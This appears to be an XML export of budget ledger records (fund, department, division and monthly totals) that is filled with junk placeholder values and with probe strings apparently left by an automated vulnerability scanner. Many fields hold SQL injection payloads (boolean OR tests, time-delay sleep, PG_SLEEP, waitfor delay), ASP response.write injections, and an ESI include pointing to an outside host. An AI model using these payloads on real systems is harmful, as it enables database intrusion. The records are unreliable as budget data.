<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=25 or "QtqWzM4Y"="</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>if(now()=sysdate(),sleep(15),0)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUAwcMQpDw' OR 600=(SELECT 600 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU8bBmgpEh') OR 915=(SELECT 915 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMUDiciVYUh')) OR 447=(SELECT 447 FROM PG_SLEEP(15))--</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>@@QwZtX</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select 198766*667891 from DUAL)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1vf1UyI22' OR 326=(SELECT 326 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>response.write(9072144*9562944)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1����%2527%2522\'\"</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>@@MJKYq</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(select 198766*667891 from DUAL)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU&lt;esi:include src="http://bxss.me/rpb.png"/&gt;</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=26</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=26 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=26 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=25 or 'ILAkdBbc'='</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=26 or 'ILAkdBbc'='</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=26 or "QtqWzM4Y"="</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU-1 waitfor delay '0:0:15' -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU4AhTLT5G'; waitfor delay '0:0:15' -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU2Vs7Xu3s</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>'+response.write(9072144*9562944)+'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1 OR 5*5=25</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=25 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=26 -- </fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1' OR 5*5=25 or '17WXvMjN'='</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>-1" OR 5*5=26 or "R1gp3aES"="</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1gZx8BvCj') OR 838=(SELECT 838 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1&amp;n944951=v984590</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1Zy6Hm19D')) OR 332=(SELECT 332 FROM PG_SLEEP(15))--</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
